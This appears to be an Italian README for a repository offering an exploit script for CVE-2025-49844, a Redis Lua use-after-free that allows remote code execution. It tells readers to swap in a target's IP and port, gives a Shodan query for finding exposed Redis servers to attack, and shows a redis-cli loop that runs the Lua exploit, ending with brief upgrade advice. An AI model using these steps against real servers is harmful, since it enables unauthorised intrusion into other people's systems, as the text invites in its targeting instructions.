elyasbassir/cve-2025-49844Script di exploit per CVE-2025-49844, una vulnerabilità use-after-free nel parser Lua di Redis, che consente l'esecuzione remota di codice su server Redis vulnerabili.
In sintesi, esegui questo script e al posto di
localhost
inserisci l'IP del target e configuri anche la porta, si connette se è vulnerabile e puoi eseguire il comando che vuoi.
Su Shodan puoi trovare i target vulnerabili con questo payload
product:"Redis key-value store"
Controlla la versione, deve essere inferiore alla 8.2
while redis-cli -h localhost -p 6379 --eval CVE-2025-49844.lua >/dev/null; do
printf 'connect to server :) RCE'
done
Se puoi, aggiorna Redis alla versione 8.2.2 o successiva.
Se non puoi aggiornare, almeno disabilita l'esecuzione di Lua per utenti sconosciuti o non affidabili.